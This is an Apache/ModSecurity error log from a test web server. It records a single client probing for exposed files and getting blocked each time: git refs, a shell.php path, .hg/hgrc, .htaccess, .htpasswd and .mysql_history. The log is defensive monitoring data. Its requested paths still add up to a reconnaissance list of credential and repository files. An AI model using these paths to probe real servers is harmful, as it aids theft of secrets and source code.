[Sun Jun 29 20:13:58.831968 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1AAAAAQ&quot;]
[Sun Jun 29 20:13:58.832157 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1AAAAAQ&quot;]
[Sun Jun 29 20:13:58.852314 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1QAAAAQ&quot;]
[Sun Jun 29 20:13:58.852563 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1QAAAAQ&quot;]
[Sun Jun 29 20:13:58.852767 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1QAAAAQ&quot;]
[Sun Jun 29 20:13:58.873111 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1gAAAAQ&quot;]
[Sun Jun 29 20:13:58.873355 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1gAAAAQ&quot;]
[Sun Jun 29 20:13:58.873549 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1gAAAAQ&quot;]
[Sun Jun 29 20:13:58.893713 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1wAAAAQ&quot;]
[Sun Jun 29 20:13:58.893955 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1wAAAAQ&quot;]
[Sun Jun 29 20:13:58.894154 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF1wAAAAQ&quot;]
[Sun Jun 29 20:13:58.924077 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF2AAAAAQ&quot;]
[Sun Jun 29 20:13:58.924317 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF2AAAAAQ&quot;]
[Sun Jun 29 20:13:58.924515 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aGGCZn3T5w8Ph4-X-hFF2AAAAAQ&quot;]
[Sun Jun 29 20:13:59.037460 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2QAAAAQ&quot;]
[Sun Jun 29 20:13:59.037707 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2QAAAAQ&quot;]
[Sun Jun 29 20:13:59.037938 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2QAAAAQ&quot;]
[Sun Jun 29 20:13:59.103174 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/stash&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2gAAAAQ&quot;]
[Sun Jun 29 20:13:59.103418 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2gAAAAQ&quot;]
[Sun Jun 29 20:13:59.103619 2025] [:error] [pid 2967922] [client 185.177.72.107:47886] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aGGCZ33T5w8Ph4-X-hFF2gAAAAQ&quot;]
[Sun Jun 29 20:14:08.250604 2025] [:error] [pid 2967921] [client 185.177.72.107:14128] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/shell.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aGGCcA5w_kdDrMZHVfsRHAAAAAM&quot;]
[Sun Jun 29 20:14:08.250880 2025] [:error] [pid 2967921] [client 185.177.72.107:14128] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aGGCcA5w_kdDrMZHVfsRHAAAAAM&quot;]
[Sun Jun 29 20:14:08.251069 2025] [:error] [pid 2967921] [client 185.177.72.107:14128] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aGGCcA5w_kdDrMZHVfsRHAAAAAM&quot;]
[Sun Jun 29 20:14:22.769824 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGGCfq1XEc-sC3fb0P3MVAAAAAI&quot;]
[Sun Jun 29 20:14:22.770069 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGGCfq1XEc-sC3fb0P3MVAAAAAI&quot;]
[Sun Jun 29 20:14:22.770269 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGGCfq1XEc-sC3fb0P3MVAAAAAI&quot;]
[Sun Jun 29 20:14:23.051061 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MVwAAAAI&quot;]
[Sun Jun 29 20:14:23.051297 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MVwAAAAI&quot;]
[Sun Jun 29 20:14:23.051508 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MVwAAAAI&quot;]
[Sun Jun 29 20:14:23.301994 2025] [authz_core:error] [pid 2967920] [client 185.177.72.107:19910] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Sun Jun 29 20:14:23.388715 2025] [authz_core:error] [pid 2967920] [client 185.177.72.107:19910] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Sun Jun 29 20:14:23.434915 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.mysql_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .mysql_history found within REQUEST_FILENAME: /.mysql_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXAAAAAI&quot;]
[Sun Jun 29 20:14:23.435145 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXAAAAAI&quot;]
[Sun Jun 29 20:14:23.435328 2025] [:error] [pid 2967920] [client 185.177.72.107:19910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;aGGCf61XEc-sC3fb0P3MXAAAAAI&quot;]
